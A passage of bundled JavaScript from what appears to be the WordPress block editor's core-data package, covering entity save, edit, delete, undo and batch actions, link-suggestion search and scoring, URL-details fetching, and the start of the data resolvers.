16501 return isSuccess;
16502 }
16503 subscribe(subscriber) {
16504 this.subscribers.add(subscriber);
16505 return () => {
16506 this.subscribers.delete(subscriber);
16507 };
16508 }
16509 };
16510
16511 // packages/core-data/build-module/actions.mjs
16512 function addTitleToAutoDraft(record) {
16513 return record.status === "auto-draft" ? { ...record, title: "" } : record;
16514 }
16515 function receiveUserQuery(queryID, users2) {
16516 return {
16517 type: "RECEIVE_USER_QUERY",
16518 users: Array.isArray(users2) ? users2 : [users2],
16519 queryID
16520 };
16521 }
16522 function receiveCurrentUser(currentUser2) {
16523 return {
16524 type: "RECEIVE_CURRENT_USER",
16525 currentUser: currentUser2
16526 };
16527 }
16528 function addEntities(entities2) {
16529 return {
16530 type: "ADD_ENTITIES",
16531 entities: entities2
16532 };
16533 }
16534 function receiveEntityRecords(kind, name, records, query = void 0, invalidateCache = false, edits = void 0, meta = void 0) {
16535 if (kind === "postType") {
16536 records = Array.isArray(records) ? records.map(addTitleToAutoDraft) : addTitleToAutoDraft(records);
16537 }
16538 let action;
16539 if (query) {
16540 action = receiveQueriedItems(records, query, edits, meta);
16541 } else {
16542 action = receiveItems(records, edits, meta);
16543 }
16544 return {
16545 ...action,
16546 kind,
16547 name,
16548 invalidateCache
16549 };
16550 }
16551 function receiveCurrentTheme(currentTheme2) {
16552 return {
16553 type: "RECEIVE_CURRENT_THEME",
16554 currentTheme: currentTheme2
16555 };
16556 }
16557 function __experimentalReceiveCurrentGlobalStylesId(currentGlobalStylesId2) {
16558 return {
16559 type: "RECEIVE_CURRENT_GLOBAL_STYLES_ID",
16560 id: currentGlobalStylesId2
16561 };
16562 }
16563 function __experimentalReceiveThemeBaseGlobalStyles(stylesheet, globalStyles) {
16564 return {
16565 type: "RECEIVE_THEME_GLOBAL_STYLES",
16566 stylesheet,
16567 globalStyles
16568 };
16569 }
16570 function __experimentalReceiveThemeGlobalStyleVariations(stylesheet, variations) {
16571 return {
16572 type: "RECEIVE_THEME_GLOBAL_STYLE_VARIATIONS",
16573 stylesheet,
16574 variations
16575 };
16576 }
16577 function receiveThemeSupports() {
16578 (0, import_deprecated3.default)("wp.data.dispatch( 'core' ).receiveThemeSupports", {
16579 since: "5.9"
16580 });
16581 return {
16582 type: "DO_NOTHING"
16583 };
16584 }
16585 function receiveThemeGlobalStyleRevisions(currentId, revisions) {
16586 (0, import_deprecated3.default)(
16587 "wp.data.dispatch( 'core' ).receiveThemeGlobalStyleRevisions()",
16588 {
16589 since: "6.5.0",
16590 alternative: "wp.data.dispatch( 'core' ).receiveRevisions"
16591 }
16592 );
16593 return {
16594 type: "RECEIVE_THEME_GLOBAL_STYLE_REVISIONS",
16595 currentId,
16596 revisions
16597 };
16598 }
16599 function receiveEmbedPreview(url, preview) {
16600 return {
16601 type: "RECEIVE_EMBED_PREVIEW",
16602 url,
16603 preview
16604 };
16605 }
16606 var deleteEntityRecord = (kind, name, recordId, query, { __unstableFetch = import_api_fetch4.default, throwOnError = false } = {}) => async ({ dispatch: dispatch3, resolveSelect: resolveSelect2 }) => {
16607 logEntityDeprecation(kind, name, "deleteEntityRecord");
16608 const configs = await resolveSelect2.getEntitiesConfig(kind);
16609 const entityConfig = configs.find(
16610 (config) => config.kind === kind && config.name === name
16611 );
16612 let error;
16613 let deletedRecord = false;
16614 if (!entityConfig) {
16615 return;
16616 }
16617 const lock3 = await dispatch3.__unstableAcquireStoreLock(
16618 STORE_NAME,
16619 ["entities", "records", kind, name, recordId],
16620 { exclusive: true }
16621 );
16622 try {
16623 dispatch3({
16624 type: "DELETE_ENTITY_RECORD_START",
16625 kind,
16626 name,
16627 recordId
16628 });
16629 let hasError = false;
16630 let { baseURL } = entityConfig;
16631 if (kind === "postType" && name === "wp_template" && (recordId && typeof recordId === "string" && !/^\d+$/.test(recordId) || !window?.__experimentalTemplateActivate)) {
16632 baseURL = baseURL.slice(0, baseURL.lastIndexOf("/")) + "/templates";
16633 }
16634 try {
16635 let path = `${baseURL}/${recordId}`;
16636 if (query) {
16637 path = (0, import_url3.addQueryArgs)(path, query);
16638 }
16639 deletedRecord = await __unstableFetch({
16640 path,
16641 method: "DELETE"
16642 });
16643 await dispatch3(removeItems(kind, name, recordId, true));
16644 if (entityConfig.syncConfig) {
16645 const objectType = `${kind}/${name}`;
16646 const objectId = recordId;
16647 getSyncManager()?.unload(objectType, objectId);
16648 }
16649 } catch (_error) {
16650 hasError = true;
16651 error = _error;
16652 }
16653 dispatch3({
16654 type: "DELETE_ENTITY_RECORD_FINISH",
16655 kind,
16656 name,
16657 recordId,
16658 error
16659 });
16660 if (hasError && throwOnError) {
16661 throw error;
16662 }
16663 return deletedRecord;
16664 } finally {
16665 dispatch3.__unstableReleaseStoreLock(lock3);
16666 }
16667 };
16668 var editEntityRecord = (kind, name, recordId, edits, options = {}) => ({ select: select5, dispatch: dispatch3 }) => {
16669 logEntityDeprecation(kind, name, "editEntityRecord");
16670 const entityConfig = select5.getEntityConfig(kind, name);
16671 if (!entityConfig) {
16672 throw new Error(
16673 `The entity being edited (${kind}, ${name}) does not have a loaded config.`
16674 );
16675 }
16676 const { mergedEdits = {} } = entityConfig;
16677 const record = select5.getRawEntityRecord(kind, name, recordId);
16678 const editedRecord = select5.getEditedEntityRecord(
16679 kind,
16680 name,
16681 recordId
16682 );
16683 const editsWithMerges = Object.keys(edits).reduce((acc, key) => {
16684 acc[key] = mergedEdits[key] ? { ...editedRecord[key], ...edits[key] } : edits[key];
16685 return acc;
16686 }, {});
16687 const edit = {
16688 kind,
16689 name,
16690 recordId,
16691 // Clear edits when they are equal to their persisted counterparts
16692 // so that the property is not considered dirty.
16693 edits: Object.keys(edits).reduce((acc, key) => {
16694 const recordValue = record[key];
16695 const value = editsWithMerges[key];
16696 acc[key] = (0, import_es67.default)(recordValue, value) ? void 0 : value;
16697 return acc;
16698 }, {})
16699 };
16700 if (entityConfig.syncConfig) {
16701 const objectType = `${kind}/${name}`;
16702 const objectId = recordId;
16703 const isNewUndoLevel = options.undoIgnore ? false : !options.isCached;
16704 const origin2 = options.undoIgnore ? LOCAL_UNDO_IGNORED_ORIGIN2 : LOCAL_EDITOR_ORIGIN2;
16705 getSyncManager()?.update(
16706 objectType,
16707 objectId,
16708 editsWithMerges,
16709 origin2,
16710 { isNewUndoLevel }
16711 );
16712 }
16713 if (!options.undoIgnore) {
16714 select5.getUndoManager().addRecord(
16715 [
16716 {
16717 id: { kind, name, recordId },
16718 changes: Object.keys(edits).reduce((acc, key) => {
16719 acc[key] = {
16720 from: editedRecord[key],
16721 to: edits[key]
16722 };
16723 return acc;
16724 }, {})
16725 }
16726 ],
16727 options.isCached
16728 );
16729 }
16730 dispatch3({
16731 type: "EDIT_ENTITY_RECORD",
16732 ...edit
16733 });
16734 };
16735 var clearEntityRecordEdits = (kind, name, recordId) => ({ select: select5, dispatch: dispatch3 }) => {
16736 const entityConfig = select5.getEntityConfig(kind, name);
16737 logEntityDeprecation(kind, name, "clearEntityRecordEdits");
16738 if (!entityConfig) {
16739 throw new Error(
16740 `The entity being edited (${kind}, ${name}) does not have a loaded config.`
16741 );
16742 }
16743 const currentEdits = select5.getEntityRecordEdits(
16744 kind,
16745 name,
16746 recordId
16747 );
16748 if (!currentEdits) {
16749 return;
16750 }
16751 const clearedEdits = Object.keys(currentEdits).reduce(
16752 (acc, key) => {
16753 acc[key] = void 0;
16754 return acc;
16755 },
16756 {}
16757 );
16758 dispatch3({
16759 type: "EDIT_ENTITY_RECORD",
16760 kind,
16761 name,
16762 recordId,
16763 edits: clearedEdits
16764 });
16765 };
16766 var undo = () => ({ select: select5, dispatch: dispatch3 }) => {
16767 const undoRecord = select5.getUndoManager().undo();
16768 if (!undoRecord) {
16769 return;
16770 }
16771 dispatch3({
16772 type: "UNDO",
16773 record: undoRecord
16774 });
16775 };
16776 var redo = () => ({ select: select5, dispatch: dispatch3 }) => {
16777 const redoRecord = select5.getUndoManager().redo();
16778 if (!redoRecord) {
16779 return;
16780 }
16781 dispatch3({
16782 type: "REDO",
16783 record: redoRecord
16784 });
16785 };
16786 var __unstableCreateUndoLevel = () => ({ select: select5 }) => {
16787 select5.getUndoManager().addRecord();
16788 };
16789 var saveEntityRecord = (kind, name, record, {
16790 isAutosave = false,
16791 __unstableFetch = import_api_fetch4.default,
16792 throwOnError = false
16793 } = {}) => async ({ select: select5, resolveSelect: resolveSelect2, dispatch: dispatch3 }) => {
16794 logEntityDeprecation(kind, name, "saveEntityRecord");
16795 const configs = await resolveSelect2.getEntitiesConfig(kind);
16796 const entityConfig = configs.find(
16797 (config) => config.kind === kind && config.name === name
16798 );
16799 if (!entityConfig) {
16800 return;
16801 }
16802 const entityIdKey = entityConfig.key ?? DEFAULT_ENTITY_KEY;
16803 const recordId = record[entityIdKey];
16804 const isNewRecord = !!entityIdKey && !recordId;
16805 const lock3 = await dispatch3.__unstableAcquireStoreLock(
16806 STORE_NAME,
16807 ["entities", "records", kind, name, recordId || v4_default()],
16808 { exclusive: true }
16809 );
16810 try {
16811 for (const [key, value] of Object.entries(record)) {
16812 if (typeof value === "function") {
16813 const evaluatedValue = value(
16814 select5.getEditedEntityRecord(kind, name, recordId)
16815 );
16816 dispatch3.editEntityRecord(
16817 kind,
16818 name,
16819 recordId,
16820 {
16821 [key]: evaluatedValue
16822 },
16823 { undoIgnore: true }
16824 );
16825 record[key] = evaluatedValue;
16826 }
16827 }
16828 dispatch3({
16829 type: "SAVE_ENTITY_RECORD_START",
16830 kind,
16831 name,
16832 recordId,
16833 isAutosave
16834 });
16835 let updatedRecord;
16836 let error;
16837 let hasError = false;
16838 let { baseURL } = entityConfig;
16839 if (kind === "postType" && name === "wp_template" && (recordId && typeof recordId === "string" && !/^\d+$/.test(recordId) || !window?.__experimentalTemplateActivate)) {
16840 baseURL = baseURL.slice(0, baseURL.lastIndexOf("/")) + "/templates";
16841 }
16842 try {
16843 const path = `${baseURL}${recordId ? "/" + recordId : ""}`;
16844 const persistedRecord = !isNewRecord ? select5.getRawEntityRecord(kind, name, recordId) : {};
16845 if (isAutosave) {
16846 const currentUser2 = select5.getCurrentUser();
16847 const currentUserId = currentUser2 ? currentUser2.id : void 0;
16848 const autosavePost = await resolveSelect2.getAutosave(
16849 persistedRecord.type,
16850 persistedRecord.id,
16851 currentUserId
16852 );
16853 let data = {
16854 ...persistedRecord,
16855 ...autosavePost,
16856 ...record
16857 };
16858 data = Object.keys(data).reduce(
16859 (acc, key) => {
16860 if ([
16861 "title",
16862 "excerpt",
16863 "content",
16864 "meta"
16865 ].includes(key)) {
16866 acc[key] = data[key];
16867 }
16868 return acc;
16869 },
16870 {
16871 // Do not update the `status` if we have edited it when auto saving.
16872 // It's very important to let the user explicitly save this change,
16873 // because it can lead to unexpected results. An example would be to
16874 // have a draft post and change the status to publish.
16875 status: data.status === "auto-draft" ? "draft" : void 0
16876 }
16877 );
16878 updatedRecord = await __unstableFetch({
16879 path: `${path}/autosaves`,
16880 method: "POST",
16881 data
16882 });
16883 if (persistedRecord.id === updatedRecord.id) {
16884 let newRecord = {
16885 ...persistedRecord,
16886 ...data,
16887 ...updatedRecord
16888 };
16889 newRecord = Object.keys(newRecord).reduce(
16890 (acc, key) => {
16891 if (["title", "excerpt", "content"].includes(
16892 key
16893 )) {
16894 acc[key] = newRecord[key];
16895 } else if (key === "status") {
16896 acc[key] = persistedRecord.status === "auto-draft" && newRecord.status === "draft" ? newRecord.status : persistedRecord.status;
16897 } else {
16898 acc[key] = persistedRecord[key];
16899 }
16900 return acc;
16901 },
16902 {}
16903 );
16904 dispatch3.receiveEntityRecords(
16905 kind,
16906 name,
16907 newRecord,
16908 void 0,
16909 true
16910 );
16911 } else {
16912 dispatch3.receiveAutosaves(
16913 persistedRecord.id,
16914 updatedRecord
16915 );
16916 }
16917 } else {
16918 let edits = record;
16919 if (entityConfig.__unstablePrePersist) {
16920 edits = {
16921 ...edits,
16922 ...await entityConfig.__unstablePrePersist(
16923 persistedRecord,
16924 edits
16925 )
16926 };
16927 }
16928 updatedRecord = await __unstableFetch({
16929 path,
16930 method: recordId ? "PUT" : "POST",
16931 data: edits
16932 });
16933 dispatch3.receiveEntityRecords(
16934 kind,
16935 name,
16936 updatedRecord,
16937 void 0,
16938 true,
16939 edits
16940 );
16941 if (entityConfig.syncConfig) {
16942 getSyncManager()?.update(
16943 `${kind}/${name}`,
16944 recordId,
16945 updatedRecord,
16946 LOCAL_UNDO_IGNORED_ORIGIN2,
16947 { isSave: true }
16948 );
16949 }
16950 }
16951 } catch (_error) {
16952 hasError = true;
16953 error = _error;
16954 }
16955 dispatch3({
16956 type: "SAVE_ENTITY_RECORD_FINISH",
16957 kind,
16958 name,
16959 recordId,
16960 error,
16961 isAutosave
16962 });
16963 if (hasError && throwOnError) {
16964 throw error;
16965 }
16966 return updatedRecord;
16967 } finally {
16968 dispatch3.__unstableReleaseStoreLock(lock3);
16969 }
16970 };
16971 var __experimentalBatch = (requests) => async ({ dispatch: dispatch3 }) => {
16972 const batch = createBatch();
16973 const api = {
16974 saveEntityRecord(kind, name, record, options) {
16975 return batch.add(
16976 (add) => dispatch3.saveEntityRecord(kind, name, record, {
16977 ...options,
16978 __unstableFetch: add
16979 })
16980 );
16981 },
16982 saveEditedEntityRecord(kind, name, recordId, options) {
16983 return batch.add(
16984 (add) => dispatch3.saveEditedEntityRecord(kind, name, recordId, {
16985 ...options,
16986 __unstableFetch: add
16987 })
16988 );
16989 },
16990 deleteEntityRecord(kind, name, recordId, query, options) {
16991 return batch.add(
16992 (add) => dispatch3.deleteEntityRecord(kind, name, recordId, query, {
16993 ...options,
16994 __unstableFetch: add
16995 })
16996 );
16997 }
16998 };
16999 const resultPromises = requests.map((request) => request(api));
17000 const [, ...results] = await Promise.all([
17001 batch.run(),
17002 ...resultPromises
17003 ]);
17004 return results;
17005 };
17006 var saveEditedEntityRecord = (kind, name, recordId, options) => async ({ select: select5, dispatch: dispatch3, resolveSelect: resolveSelect2 }) => {
17007 logEntityDeprecation(kind, name, "saveEditedEntityRecord");
17008 if (!select5.hasEditsForEntityRecord(kind, name, recordId)) {
17009 return;
17010 }
17011 const configs = await resolveSelect2.getEntitiesConfig(kind);
17012 const entityConfig = configs.find(
17013 (config) => config.kind === kind && config.name === name
17014 );
17015 if (!entityConfig) {
17016 return;
17017 }
17018 const entityIdKey = entityConfig.key || DEFAULT_ENTITY_KEY;
17019 const edits = select5.getEntityRecordNonTransientEdits(
17020 kind,
17021 name,
17022 recordId
17023 );
17024 const record = { [entityIdKey]: recordId, ...edits };
17025 return await dispatch3.saveEntityRecord(kind, name, record, options);
17026 };
17027 var __experimentalSaveSpecifiedEntityEdits = (kind, name, recordId, itemsToSave, options) => async ({ select: select5, dispatch: dispatch3, resolveSelect: resolveSelect2 }) => {
17028 logEntityDeprecation(
17029 kind,
17030 name,
17031 "__experimentalSaveSpecifiedEntityEdits"
17032 );
17033 if (!select5.hasEditsForEntityRecord(kind, name, recordId)) {
17034 return;
17035 }
17036 const edits = select5.getEntityRecordNonTransientEdits(
17037 kind,
17038 name,
17039 recordId
17040 );
17041 const editsToSave = {};
17042 for (const item of itemsToSave) {
17043 setNestedValue(editsToSave, item, getNestedValue(edits, item));
17044 }
17045 const configs = await resolveSelect2.getEntitiesConfig(kind);
17046 const entityConfig = configs.find(
17047 (config) => config.kind === kind && config.name === name
17048 );
17049 const entityIdKey = entityConfig?.key || DEFAULT_ENTITY_KEY;
17050 if (recordId) {
17051 editsToSave[entityIdKey] = recordId;
17052 }
17053 return await dispatch3.saveEntityRecord(
17054 kind,
17055 name,
17056 editsToSave,
17057 options
17058 );
17059 };
17060 function receiveUploadPermissions(hasUploadPermissions) {
17061 (0, import_deprecated3.default)("wp.data.dispatch( 'core' ).receiveUploadPermissions", {
17062 since: "5.9",
17063 alternative: "receiveUserPermission"
17064 });
17065 return receiveUserPermission("create/media", hasUploadPermissions);
17066 }
17067 function receiveUserPermission(key, isAllowed) {
17068 return {
17069 type: "RECEIVE_USER_PERMISSION",
17070 key,
17071 isAllowed
17072 };
17073 }
17074 function receiveUserPermissions(permissions) {
17075 return {
17076 type: "RECEIVE_USER_PERMISSIONS",
17077 permissions
17078 };
17079 }
17080 function receiveAutosaves(postId, autosaves2) {
17081 return {
17082 type: "RECEIVE_AUTOSAVES",
17083 postId,
17084 autosaves: Array.isArray(autosaves2) ? autosaves2 : [autosaves2]
17085 };
17086 }
17087 function receiveNavigationFallbackId(fallbackId) {
17088 return {
17089 type: "RECEIVE_NAVIGATION_FALLBACK_ID",
17090 fallbackId
17091 };
17092 }
17093 function receiveDefaultTemplateId(query, templateId) {
17094 return {
17095 type: "RECEIVE_DEFAULT_TEMPLATE",
17096 query,
17097 templateId
17098 };
17099 }
17100 var receiveRevisions = (kind, name, recordKey, records, query, invalidateCache = false, meta) => async ({ dispatch: dispatch3, resolveSelect: resolveSelect2 }) => {
17101 logEntityDeprecation(kind, name, "receiveRevisions");
17102 const configs = await resolveSelect2.getEntitiesConfig(kind);
17103 const entityConfig = configs.find(
17104 (config) => config.kind === kind && config.name === name
17105 );
17106 const key = entityConfig && entityConfig?.revisionKey ? entityConfig.revisionKey : DEFAULT_ENTITY_KEY;
17107 dispatch3({
17108 type: "RECEIVE_ITEM_REVISIONS",
17109 key,
17110 items: records,
17111 recordKey,
17112 meta,
17113 query,
17114 kind,
17115 name,
17116 invalidateCache
17117 });
17118 };
17119
17120 // packages/core-data/build-module/private-actions.mjs
17121 var private_actions_exports = {};
17122 __export(private_actions_exports, {
17123 editMediaEntity: () => editMediaEntity,
17124 receiveEditorAssets: () => receiveEditorAssets,
17125 receiveEditorSettings: () => receiveEditorSettings,
17126 receiveRegisteredPostMeta: () => receiveRegisteredPostMeta,
17127 setCollaborationSupported: () => setCollaborationSupported,
17128 setSyncConnectionStatus: () => setSyncConnectionStatus
17129 });
17130 var import_api_fetch5 = __toESM(require_api_fetch(), 1);
17131 function receiveRegisteredPostMeta(postType, registeredPostMeta2) {
17132 return {
17133 type: "RECEIVE_REGISTERED_POST_META",
17134 postType,
17135 registeredPostMeta: registeredPostMeta2
17136 };
17137 }
17138 var editMediaEntity = (recordId, edits = {}, { __unstableFetch = import_api_fetch5.default, throwOnError = false } = {}) => async ({ dispatch: dispatch3, resolveSelect: resolveSelect2 }) => {
17139 if (!recordId) {
17140 return;
17141 }
17142 const kind = "postType";
17143 const name = "attachment";
17144 const configs = await resolveSelect2.getEntitiesConfig(kind);
17145 const entityConfig = configs.find(
17146 (config) => config.kind === kind && config.name === name
17147 );
17148 if (!entityConfig) {
17149 return;
17150 }
17151 const lock3 = await dispatch3.__unstableAcquireStoreLock(
17152 STORE_NAME,
17153 ["entities", "records", kind, name, recordId],
17154 { exclusive: true }
17155 );
17156 let updatedRecord;
17157 let error;
17158 let hasError = false;
17159 try {
17160 dispatch3({
17161 type: "SAVE_ENTITY_RECORD_START",
17162 kind,
17163 name,
17164 recordId
17165 });
17166 try {
17167 const path = `${entityConfig.baseURL}/${recordId}/edit`;
17168 const newRecord = await __unstableFetch({
17169 path,
17170 method: "POST",
17171 data: {
17172 ...edits
17173 }
17174 });
17175 if (newRecord) {
17176 dispatch3.receiveEntityRecords(
17177 kind,
17178 name,
17179 newRecord,
17180 void 0,
17181 true,
17182 void 0,
17183 void 0
17184 );
17185 updatedRecord = newRecord;
17186 }
17187 } catch (e) {
17188 error = e;
17189 hasError = true;
17190 }
17191 dispatch3({
17192 type: "SAVE_ENTITY_RECORD_FINISH",
17193 kind,
17194 name,
17195 recordId,
17196 error
17197 });
17198 if (hasError && throwOnError) {
17199 throw error;
17200 }
17201 return updatedRecord;
17202 } finally {
17203 dispatch3.__unstableReleaseStoreLock(lock3);
17204 }
17205 };
17206 function receiveEditorSettings(settings) {
17207 return {
17208 type: "RECEIVE_EDITOR_SETTINGS",
17209 settings
17210 };
17211 }
17212 function receiveEditorAssets(assets) {
17213 return {
17214 type: "RECEIVE_EDITOR_ASSETS",
17215 assets
17216 };
17217 }
17218 var setCollaborationSupported = (supported) => ({ dispatch: dispatch3 }) => {
17219 dispatch3({ type: "SET_COLLABORATION_SUPPORTED", supported });
17220 };
17221 function setSyncConnectionStatus(kind, name, key, status) {
17222 if (!status) {
17223 return {
17224 type: "CLEAR_SYNC_CONNECTION_STATUS",
17225 kind,
17226 name,
17227 key
17228 };
17229 }
17230 return {
17231 type: "SET_SYNC_CONNECTION_STATUS",
17232 kind,
17233 name,
17234 key,
17235 status
17236 };
17237 }
17238
17239 // packages/core-data/build-module/resolvers.mjs
17240 var resolvers_exports = {};
17241 __export(resolvers_exports, {
17242 __experimentalGetCurrentGlobalStylesId: () => __experimentalGetCurrentGlobalStylesId2,
17243 __experimentalGetCurrentThemeBaseGlobalStyles: () => __experimentalGetCurrentThemeBaseGlobalStyles2,
17244 __experimentalGetCurrentThemeGlobalStylesVariations: () => __experimentalGetCurrentThemeGlobalStylesVariations2,
17245 canUser: () => canUser2,
17246 canUserEditEntityRecord: () => canUserEditEntityRecord2,
17247 getAuthors: () => getAuthors2,
17248 getAutosave: () => getAutosave2,
17249 getAutosaves: () => getAutosaves2,
17250 getBlockPatternCategories: () => getBlockPatternCategories2,
17251 getBlockPatterns: () => getBlockPatterns2,
17252 getCurrentTheme: () => getCurrentTheme2,
17253 getCurrentThemeGlobalStylesRevisions: () => getCurrentThemeGlobalStylesRevisions2,
17254 getCurrentUser: () => getCurrentUser2,
17255 getDefaultTemplateId: () => getDefaultTemplateId2,
17256 getEditedEntityRecord: () => getEditedEntityRecord2,
17257 getEditorAssets: () => getEditorAssets2,
17258 getEditorSettings: () => getEditorSettings2,
17259 getEmbedPreview: () => getEmbedPreview2,
17260 getEntitiesConfig: () => getEntitiesConfig2,
17261 getEntityRecord: () => getEntityRecord2,
17262 getEntityRecords: () => getEntityRecords2,
17263 getEntityRecordsTotalItems: () => getEntityRecordsTotalItems2,
17264 getEntityRecordsTotalPages: () => getEntityRecordsTotalPages2,
17265 getNavigationFallbackId: () => getNavigationFallbackId2,
17266 getRawEntityRecord: () => getRawEntityRecord2,
17267 getRegisteredPostMeta: () => getRegisteredPostMeta2,
17268 getRevision: () => getRevision2,
17269 getRevisions: () => getRevisions2,
17270 getThemeSupports: () => getThemeSupports2,
17271 getUserPatternCategories: () => getUserPatternCategories2
17272 });
17273 var import_url6 = __toESM(require_url(), 1);
17274 var import_html_entities2 = __toESM(require_html_entities(), 1);
17275 var import_api_fetch9 = __toESM(require_api_fetch(), 1);
17276
17277 // packages/core-data/build-module/fetch/index.mjs
17278 var import_api_fetch8 = __toESM(require_api_fetch(), 1);
17279
17280 // packages/core-data/build-module/fetch/__experimental-fetch-link-suggestions.mjs
17281 var import_api_fetch6 = __toESM(require_api_fetch(), 1);
17282 var import_url4 = __toESM(require_url(), 1);
17283 var import_html_entities = __toESM(require_html_entities(), 1);
17284 var import_i18n2 = __toESM(require_i18n(), 1);
17285 async function fetchLinkSuggestions(search, searchOptions = {}, editorSettings2 = {}) {
17286 const searchOptionsToUse = searchOptions.isInitialSuggestions && searchOptions.initialSuggestionsSearchOptions ? {
17287 ...searchOptions,
17288 ...searchOptions.initialSuggestionsSearchOptions
17289 } : searchOptions;
17290 const {
17291 type,
17292 subtype,
17293 page,
17294 perPage = searchOptions.isInitialSuggestions ? 3 : 20
17295 } = searchOptionsToUse;
17296 const { disablePostFormats = false } = editorSettings2;
17297 const queries2 = [];
17298 if (!type || type === "post") {
17299 queries2.push(
17300 (0, import_api_fetch6.default)({
17301 path: (0, import_url4.addQueryArgs)("/wp/v2/search", {
17302 search,
17303 page,
17304 per_page: perPage,
17305 type: "post",
17306 subtype
17307 })
17308 }).then((results2) => {
17309 return results2.map((result) => {
17310 return {
17311 id: result.id,
17312 url: result.url,
17313 title: (0, import_html_entities.decodeEntities)(result.title || "") || (0, import_i18n2.__)("(no title)"),
17314 type: result.subtype || result.type,
17315 kind: "post-type"
17316 };
17317 });
17318 }).catch(() => [])
17319 // Fail by returning no results.
17320 );
17321 }
17322 if (!type || type === "term") {
17323 queries2.push(
17324 (0, import_api_fetch6.default)({
17325 path: (0, import_url4.addQueryArgs)("/wp/v2/search", {
17326 search,
17327 page,
17328 per_page: perPage,
17329 type: "term",
17330 subtype
17331 })
17332 }).then((results2) => {
17333 return results2.map((result) => {
17334 return {
17335 id: result.id,
17336 url: result.url,
17337 title: (0, import_html_entities.decodeEntities)(result.title || "") || (0, import_i18n2.__)("(no title)"),
17338 type: result.subtype || result.type,
17339 kind: "taxonomy"
17340 };
17341 });
17342 }).catch(() => [])
17343 // Fail by returning no results.
17344 );
17345 }
17346 if (!disablePostFormats && (!type || type === "post-format")) {
17347 queries2.push(
17348 (0, import_api_fetch6.default)({
17349 path: (0, import_url4.addQueryArgs)("/wp/v2/search", {
17350 search,
17351 page,
17352 per_page: perPage,
17353 type: "post-format",
17354 subtype
17355 })
17356 }).then((results2) => {
17357 return results2.map((result) => {
17358 return {
17359 id: result.id,
17360 url: result.url,
17361 title: (0, import_html_entities.decodeEntities)(result.title || "") || (0, import_i18n2.__)("(no title)"),
17362 type: result.subtype || result.type,
17363 kind: "taxonomy"
17364 };
17365 });
17366 }).catch(() => [])
17367 // Fail by returning no results.
17368 );
17369 }
17370 if (!type || type === "attachment") {
17371 queries2.push(
17372 (0, import_api_fetch6.default)({
17373 path: (0, import_url4.addQueryArgs)("/wp/v2/media", {
17374 search,
17375 page,
17376 per_page: perPage
17377 })
17378 }).then((results2) => {
17379 return results2.map((result) => {
17380 return {
17381 id: result.id,
17382 url: result.source_url,
17383 title: (0, import_html_entities.decodeEntities)(result.title.rendered || "") || (0, import_i18n2.__)("(no title)"),
17384 type: result.type,
17385 kind: "media"
17386 };
17387 });
17388 }).catch(() => [])
17389 // Fail by returning no results.
17390 );
17391 }
17392 const responses = await Promise.all(queries2);
17393 let results = responses.flat();
17394 results = results.filter((result) => !!result.id);
17395 results = sortResults(results, search);
17396 results = results.slice(0, perPage);
17397 return results;
17398 }
17399 function sortResults(results, search) {
17400 const searchTokens = tokenize2(search);
17401 const scores = {};
17402 for (const result of results) {
17403 if (result.title) {
17404 const titleTokens = tokenize2(result.title);
17405 const exactMatchingTokens = titleTokens.filter(
17406 (titleToken) => searchTokens.some(
17407 (searchToken) => titleToken === searchToken
17408 )
17409 );
17410 const subMatchingTokens = titleTokens.filter(
17411 (titleToken) => searchTokens.some(
17412 (searchToken) => titleToken !== searchToken && titleToken.includes(searchToken)
17413 )
17414 );
17415 const exactMatchScore = exactMatchingTokens.length / titleTokens.length * 10;
17416 const subMatchScore = subMatchingTokens.length / titleTokens.length;
17417 scores[result.id] = exactMatchScore + subMatchScore;
17418 } else {
17419 scores[result.id] = 0;
17420 }
17421 }
17422 return results.sort((a, b) => scores[b.id] - scores[a.id]);
17423 }
17424 function tokenize2(text2) {
17425 return text2.toLowerCase().match(/[\p{L}\p{N}]+/gu) || [];
17426 }
17427
17428 // packages/core-data/build-module/fetch/__experimental-fetch-url-data.mjs
17429 var import_api_fetch7 = __toESM(require_api_fetch(), 1);
17430 var import_url5 = __toESM(require_url(), 1);
17431 var CACHE = /* @__PURE__ */ new Map();
17432 var fetchUrlData = async (url, options = {}) => {
17433 const endpoint = "/wp-block-editor/v1/url-details";
17434 const args2 = {
17435 url: (0, import_url5.prependHTTP)(url)
17436 };
17437 if (!(0, import_url5.isURL)(url)) {
17438 return Promise.reject(`${url} is not a valid URL.`);
17439 }
17440 const protocol = (0, import_url5.getProtocol)(url);
17441 if (!protocol || !(0, import_url5.isValidProtocol)(protocol) || !protocol.startsWith("http") || !/^https?:\/\/[^\/\s]/i.test(url)) {
17442 return Promise.reject(
17443 `${url} does not have a valid protocol. URLs must be "http" based`
17444 );
17445 }
17446 if (CACHE.has(url)) {
17447 return CACHE.get(url);
17448 }
17449 return (0, import_api_fetch7.default)({
17450 path: (0, import_url5.addQueryArgs)(endpoint, args2),
17451 ...options
17452 }).then((res) => {
17453 CACHE.set(url, res);
17454 return res;
17455 });
17456 };
17457 var experimental_fetch_url_data_default = fetchUrlData;
17458
17459 // packages/core-data/build-module/fetch/index.mjs
17460 async function fetchBlockPatterns() {
17461 const restPatterns = await (0, import_api_fetch8.default)({
17462 path: "/wp/v2/block-patterns/patterns"
17463 });
17464 if (!restPatterns) {
17465 return [];
17466 }
17467 return restPatterns.map(
17468 (pattern) => Object.fromEntries(
17469 Object.entries(pattern).map(([key, value]) => [
17470 camelCase(key),
17471 value
17472 ])
17473 )
17474 );
17475 }
17476
17477 // packages/core-data/build-module/resolvers.mjs
17478 var getAuthors2 = (query) => async ({ dispatch: dispatch3 }) => {
17479 const path = (0, import_url6.addQueryArgs)(
17480 "/wp/v2/users/?who=authors&per_page=100",
17481 query
17482 );
17483 const users2 = await (0, import_api_fetch9.default)({ path });
17484 dispatch3.receiveUserQuery(path, users2);
17485 };
17486 var getCurrentUser2 = () => async ({ dispatch: dispatch3 }) => {
17487 const currentUser2 = await (0, import_api_fetch9.default)({ path: "/wp/v2/users/me" });
17488 dispatch3.receiveCurrentUser(currentUser2);
17489 };
17490 var getEntityRecord2 = (kind, name, key = "", query) => async ({ select: select5, dispatch: dispatch3, registry, resolveSelect: resolveSelect2 }) => {
17491 const configs = await resolveSelect2.getEntitiesConfig(kind);
17492 const entityConfig = configs.find(
17493 (config) => config.name === name && config.kind === kind
17494 );
17495 if (!entityConfig) {
17496 return;
17497 }
17498 const lock3 = await dispatch3.__unstableAcquireStoreLock(
17499 STORE_NAME,
17500 ["entities", "records", kind, name, key],
17501 { exclusive: false }
17502 );
17503 try {
17504 if (query !== void 0 && query._fields) {
17505 query = {
17506 ...query,
17507 _fields: [
17508 .../* @__PURE__ */ new Set([
